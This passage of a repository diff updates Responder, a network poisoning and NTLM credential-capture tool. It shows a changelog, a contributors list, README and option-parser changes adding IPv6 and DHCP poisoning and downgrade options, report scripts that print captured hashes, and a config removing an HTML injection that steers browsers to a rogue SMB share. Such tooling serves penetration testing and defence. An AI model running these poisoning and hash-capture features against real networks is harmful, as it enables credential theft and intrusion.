- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx).
- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx).
- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx).
- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx).
- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx).
- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx).
- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx).
- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx).
- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx).
- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx).
- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx).
- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx).
- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx).
- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx).
- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx).
- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx).
- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx).
- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx).
- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx).
- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx).
- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx).
- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx).
### Fixed
- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx).
- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx).
- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx).
- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx).
- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx).
### Changed
- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx).
- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx).
- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni).
### Removed
- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx).

76
Contributors Normal file
View file

@ -0,0 +1,76 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()

125
README.md
View file

@ -1,6 +1,6 @@
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
Responder is an LLMNR, NBT-NS and MDNS poisoner.
## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
This module allows to find the PDC in stealth mode.
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect
python tools/Icmp-Redirect.py
@ -85,7 +81,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Analyze mode will be logged to Analyzer-Session.log
- Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
@ -125,47 +121,64 @@ Running the tool:
Typical Usage Example:
./Responder.py -I eth0 -rPv
./Responder.py -I eth0 -Pv
Options:
--version show program's version number and exit.
-h, --help show this help message and exit.
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: Off
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: Off
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
Off
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
Off
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when combined
with -r. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: Off
--disable-ess Force ESS downgrade. Default: Off
-v, --verbose Increase verbosity.
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in tits Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kebreros relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ##
@ -173,9 +186,10 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Or BTC address:
Paypal:
https://paypal.me/PythonResponder
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ##
@ -199,11 +213,6 @@ We would like to thanks those major sponsors:
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@ -31,6 +31,10 @@ def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def FingerDbConnect():
cursor = sqlite3.connect("./tools/RunFinger.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
@ -39,7 +43,7 @@ def GetResponderData(cursor):
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
@ -57,16 +61,33 @@ def GetResponderCompleteHash(cursor):
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookupsIP(cursor):
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
for row in res.fetchall():
if 'fe80::' in row[1]:
pass
else:
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetUniqueDHCP(cursor):
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
for row in res.fetchall():
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
def GetRunFinger(cursor):
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
for row in res.fetchall():
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result):
@ -82,8 +103,13 @@ def SaveToDb(result):
result[k] = ''
cursor = DbConnect()
print(color("[+] Generating report...", code = 3, modifier = 1))
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor)
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
GetUniqueLookupsIP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
@ -91,5 +117,11 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
cursor.close()
try:
cursor = FingerDbConnect()
GetRunFinger(cursor)
except:
pass
print('\n')

64
Responder.conf Normal file → Executable file
View file

@ -1,22 +1,30 @@
[Responder Core]
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Custom challenge.
; Servers to start
SQL = On
SMB = On
QUIC = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = On
MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
@ -37,21 +45,27 @@ AnalyzeLog = Analyzer-Session.log
ResponderConfigDump = Config-Responder.log
; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
RespondTo =
; Specific NBT-NS/LLMNR names to respond to (default = All)
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName =
; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
; Example: DontRespondToName = NAC, IPS, IDS
DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
@ -61,8 +75,8 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On
@ -88,12 +102,12 @@ ExeFilename = ;files/filetoserve.exe
ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
WPADScript =
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
; leave empty if you want to use the default one (redirect to SMB on your IP address).
HTMLToInject =
[HTTPS Server]

View file

@ -14,6 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse
import ssl
try:
@ -25,25 +26,29 @@ from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@ -53,6 +58,10 @@ elif options.OURIP == None and IsOsX() == True:
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help()
exit(-1)
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
exit(-1)
settings.init()
settings.Config.populate(options)
@ -64,6 +73,8 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder.
CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@ -73,10 +84,13 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
@ -89,10 +103,13 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
TCPServer.server_bind(self)
@ -105,10 +122,13 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
@ -116,12 +136,20 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
